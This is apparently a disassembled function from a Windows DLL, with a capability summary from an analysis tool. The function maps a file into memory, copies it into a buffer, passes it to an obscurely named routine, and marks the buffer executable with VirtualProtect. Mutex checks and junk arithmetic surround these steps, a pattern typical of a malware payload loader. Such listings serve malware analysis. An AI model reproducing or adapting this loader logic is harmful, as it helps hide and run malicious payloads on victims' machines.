Function at 0x100018a0
Capabilities:
Allocate or change rwx memory
Get file size
Get graphical window text
Read file via mapping
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10017038]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 4], eax
push 0x21
call fcn.100029c4
add esp, 4
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [0x100190fc], eax
push 0xa
mov ecx, dword [0x100190fc]
push ecx
mov edx, dword [0x10019100]
push edx
call fcn.1000b75b
add esp, 0xc
push 0
push 0x80
push 4
push 0
push 3
push 0xc0000000
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
mov dword [ebp - 8], eax
movzx eax, byte [ebp - 0x1a]
cdq
mov ecx, 0xa5
idiv ecx
mov eax, dword [ebp - 0x14]
sub eax, edx
mov dword [0x10019098], eax
mov ecx, dword [0x10019104]
sub ecx, 1
imul ecx, dword [0x10017e2c]
and ecx, 0x8000000f
jns 0x1000194c
dec ecx
or ecx, 0xfffffff0
inc ecx
mov edx, dword [0x10019104]
sub edx, ecx
mov dword [0x10019104], edx
mov dword [ebp - 0xc], str.nSYNyAuOcOHjRcibTDxlcevGajcxcyI
mov eax, dword [ebp - 0xc]
push eax
push str.nSYNyAuOcOHjRcib
call fcn.10001860
add esp, 8
mov dword [0x10017e38], eax
cmp dword [0x10017e38], 0
jbe 0x100019a6
cmp dword [0x10017e38], 0xa
jae 0x100019a6
mov cl, byte [0x10017e38]
mov byte [0x100190ad], cl
mov edx, dword [0x10017e38]
sub edx, 1
mov dword [0x10017e38], edx
jmp 0x10001977
cmp dword [ebp - 4], 0xffffffff
jne 0x100019b8
xor eax, eax
jmp 0x10001b97
push str.rGUsgAxLdrGUsgAxLd
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x100019db
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x10017e28]
imul eax, dword [0x10017e30]
neg eax
mov ecx, dword [0x10017e28]
imul ecx, ecx, 6
add eax, ecx
mov dword [0x10019104], eax
push 0x100190a0
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
test eax, eax
je 0x10001a26
push 0x100190a0
movzx edx, word [0x10019100]
push edx
call fcn.10001430
add esp, 8
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [0x10019118], eax
push 0x104
push 0x10017e50
mov eax, dword [0x10019118]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x10001a58
push 0x10017e50
call fcn.10001250
add esp, 4
push 0
push 0
push 0
push 4
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x20], eax
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [0x100190a8], eax
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x24], eax
movzx ecx, byte [0x100190ad]
push ecx
call fcn.10002eb9
add esp, 4
mov dword [0x10019100], eax
mov edx, dword [0x10019100]
mov dword [ebp - 0x34], edx
mov eax, dword [0x10019100]
sub eax, 1
mov dword [0x10019100], eax
push 0x1001909c
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.10001320
add esp, 8
mov dword [0x10017e44], eax
cmp dword [0x10017e44], 0
je 0x10001aee
mov edx, dword [0x10019100]
add edx, 1
mov dword [0x10019100], edx
cmp dword [ebp - 0x24], 0
jne 0x10001b0f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10001b97
mov edx, dword [0x100190a8]
push edx
call fcn.10003168
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp + 8]
cmp dword [edx], 0
je 0x10001b92
mov eax, dword [0x100190a8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [0x100190a8]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.100034d2
add esp, 0x10
mov dword [0x100190fc], 0x100132a4
push 0x1001911c
mov edx, dword [0x10017e38]
push edx
mov eax, dword [0x10017e44]
push eax
mov ecx, dword [0x100190fc]
push ecx
call sym.zeothfu.dll_mxhqygmfnyjudza
add esp, 0x10
mov dword [0x10019100], eax
lea edx, [ebp - 0x2c]
push edx
push 0x40
mov eax, dword [0x100190a8]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100029cf
mov esp, ebp
pop ebp
ret